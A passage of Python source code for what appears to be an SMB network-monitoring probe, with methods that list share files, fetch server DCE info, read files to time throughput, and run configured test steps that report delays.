            for f in self.smbClient.listPath(self.share, pwd):
                if f.is_directory() == 0:
                    r.append({
                        "mtime": f.get_mtime_epoch(),
                        "ctime": f.get_ctime_epoch(),
                        "atime": f.get_atime_epoch(),
                        "size": f.get_filesize(),
                        "name": str(f.get_longname())
                    })
        except Exception as ex:
            logging.error("file list: {}".format(str(ex)))

        return r

    # --------------------------------------------------
    def logoff(self):
        """get off the server
        """

        if self.smbClient is None or self.bConnected is False:
            logging.error("No connection open")
        else:
            self.smbClient.logoff()
            del self.smbClient

        self.__clean()

    # --------------------------------------------------
    def __str__(self): 
        """for print
        """
        import pprint

        s = "smb client object:\n"

        s += " configuration:\n"
        s += "  domain/user:pwd: {}/{}:{}\n".format(self.domain, self.username, self.password)
        s += "  server/ip:port: {}/{}:{}\n".format(self.server, self.ip, self.port)
        
        s += "\n status:\n"
        if self.bConnected:
            if self.bGuestConnected:
                s += "  guest connected\n"
            else:
                s += "  user connected\n"
        else:
            s += "  not connected\n"

        if self.dceInfo.__contains__('licenses'):
            s += "\n DCE Info: {}\n".format(pprint.pformat(self.dceInfo))

        if self.aShares:
            s += "\n shares = {}\n".format(pprint.pformat(self.aShares))

        return s

    # -----------------------------------------
    def step_get_file_stats(self, _step, iStep):
        """get_file_stats action

        """
        result = {}

        result["smb-step-{:02d}-action".format(iStep)] = _step['type']

        _ms = time.time()

        sError = "smb-step-{:02d}-error".format(iStep)
        if self.useShare(_step['share']) is False:
            result[sError] = "share not available: {}".format(_step['share'])
            return result
        result["smb-step-{:02d}-share".format(iStep)] = _step['share']

        if self.cd(_step['path']) is False:
            result[sError] = "path not available in share: {}".format(_step['share'])
            return result
        result["smb-step-{:02d}-path".format(iStep)] = str(_step['path'])

        a = self.lsFiles(_step['file'])
        if a is False:
            result[sError] = "file access error: {}".format(_step['file'])
            return result

        if len(a) == 0:
            result[sError] = "file not found: {}".format(_step['file'])
            return result

        result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000)

        result["smb-step-{:02d}-file".format(iStep)] = a[0]['name']
        result["smb-step-{:02d}-atime".format(iStep)] = datetime.datetime.utcfromtimestamp(a[0]['atime']).isoformat()

        result["smb-step-{:02d}-ctime".format(iStep)] = datetime.datetime.utcfromtimestamp(a[0]['ctime']).isoformat()
        result["smb-step-{:02d}-mtime".format(iStep)] = datetime.datetime.utcfromtimestamp(a[0]['mtime']).isoformat()
        result["smb-step-{:02d}-size".format(iStep)] = a[0]['size']

        return result
        #pprint.pprint(a)

    # -----------------------------------------
    def step_get_share(self, _step, iStep):
        """get_share action

        """
        result = {}

        _ms = time.time()

        result["smb-step-{:02d}-action".format(iStep)] = _step['type']

        r = self.getShare(_step['share'])
        if r != False:
            result["smb-step-{:02d}-remark".format(iStep)] = r['remark']
            result["smb-step-{:02d}-netname".format(iStep)] = r['netname']
        else:
            result["smb-step-{:02d}-error".format(iStep)] = "not found: {}".format(_step['share'])

        result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000)
        
        return result

    # -----------------------------------------
    def step_get_dce_info(self, _step, iStep):
        """get DCE action

        """
        result = {}

        _ms = time.time()

        result["smb-step-{:02d}-action".format(iStep)] = _step['type']

        r = self.getDCEInfo()

        result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000)

        result["smb-step-{:02d}-anndelta".format(iStep)] = r['anndelta']
        result["smb-step-{:02d}-announce".format(iStep)] = r['announce']
        result["smb-step-{:02d}-disc".format(iStep)] = r['disc']
        result["smb-step-{:02d}-licenses".format(iStep)] = r['licenses']
        result["smb-step-{:02d}-major".format(iStep)] = r['major']
        result["smb-step-{:02d}-minor".format(iStep)] = r['minor']
        result["smb-step-{:02d}-name".format(iStep)] = r['name']
        result["smb-step-{:02d}-platform_id".format(iStep)] = r['platform_id']
        result["smb-step-{:02d}-simultaneous_users".format(iStep)] = r['simultaneous_users']
        
        return result

    # -----------------------------------------
    def step_read_file(self, _step, iStep):
        """read a file

        """
        result = {}

        result["smb-step-{:02d}-action".format(iStep)] = _step['type']

        if self.useShare(_step['share']) is False:
            result["smb-step-{:02d}-error"] = "share not available: {}".format(_step['share'])
            return result
        result["smb-step-{:02d}-share".format(iStep)] = _step['share']

        fileName = ntpath.normpath(string.replace(_step['file'], '/', '\\'))
        logging.debug("open file {}".format(fileName))

        if _step.__contains__('blocksize'):
            blocksize = min(1024, _step['blocksize'])
            blocksize *= 1024
        else:
            blocksize = 1024*1024

        _ms = time.time()

        try:
            fid = self.smbClient.openFile(self.tid, fileName)

            offset = 0
            endFile = False

            while endFile is False:
                _buffer = self.smbClient.readFile(self.tid, fid, offset, blocksize)
                if len(_buffer) == 0:
                    endFile = True
                offset += len(_buffer)

            result["smb-step-{:02d}-read-KB".format(iStep)] = offset / 1024.0
            result["smb-step-{:02d}-Mbps".format(iStep)] = (offset * 8 / (time.time() - _ms))/1024000

            self.smbClient.closeFile(self.tid, fid)
        except Exception as e:
            logging.error("open file: {}".format(str(e)))
            result["smb-step-{:02d}-error".format(iStep)] = "error in open file: {}".format(_step['file'])

        result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000)

        return result

    # -----------------------------------------
    def job_smb(self, _config):
        """smb job

        """

        _msTotal = time.time()

        if not _config.__contains__('server'):
            logging.error("no server specified")
            return

        if not _config.__contains__('user'):
            _config['user'] = ""

        if not _config.__contains__('password'):
            _config['password'] = ""

        if not _config.__contains__('domain'):
            _config['domain'] = ""

        if not _config.__contains__('ip'):
            _config['ip'] = _config['server']

        if not _config.__contains__('port'):
            _config['port'] = 445

        self.domain = _config['domain']
        self.username = _config['user']
        self.password = _config['password']
        self.server = _config['server']
        self.ip = _config['ip']
        self.port = _config['port']

        result = {
            "smb-domain": self.domain,
            "smb-user": self.username,
            "smb-server" : self.server
        }
        
        if not _config.__contains__('steps'):
            logging.error("no steps specified")
            result['smb-error'] = "no step specified in configuration"
            self.pushResult(result)
            return

        logging.info("connect")
        _ms = time.time()
        if self.connect() is False:
            logging.error("connect error")
            result['smb-error'] = "connect error"
            self.pushResult(result)
            return
        result['smb-connect-delay-ms'] = round((time.time() - _ms) * 1000)

        _ms = time.time()
        self.getShares()
        result['smb-get-shares-delay-ms'] = round((time.time() - _ms) * 1000)

        # exec each steps
        iStep = 1
        while _config['steps'].__contains__("{:02d}".format(iStep)):
            _step = _config['steps']["{:02d}".format(iStep)]
            logging.debug("exec step {:02d}".format(iStep))

            if _step['type'] == "get_file_stats":
                _r = self.step_get_file_stats(_step, iStep)
                result.update(_r)

            if _step['type'] == "get_dce_info":
                _r = self.step_get_dce_info(_step, iStep)
                result.update(_r)

            if _step['type'] == "get_share":
                _r = self.step_get_share(_step, iStep)
                result.update(_r)

            if _step['type'] == "read_file":
                _r = self.step_read_file(_step, iStep)
                result.update(_r)

            iStep += 1

        # get the shares
        # print self.getShares()

        # get dce server info
        # pprint.pprint(self.getDCEInfo())
        
        # self.useShare("notavail")
        # self.useShare("music")

        # self.cd("/Calogero/L'Embellie")

        # pprint.pprint(self.lsFiles())

        logging.info("logout")
        self.logoff()

        result['smb-delay-ms'] = round((time.time() - _msTotal) * 1000)

        import pprint
        pprint.pprint(result)

        # logging.info("smb results : {}".format(result))
        # exit()
        #self.pushResult(result)

        if 'run_once' in _config:
            logging.info("run only once, exit")
            exit()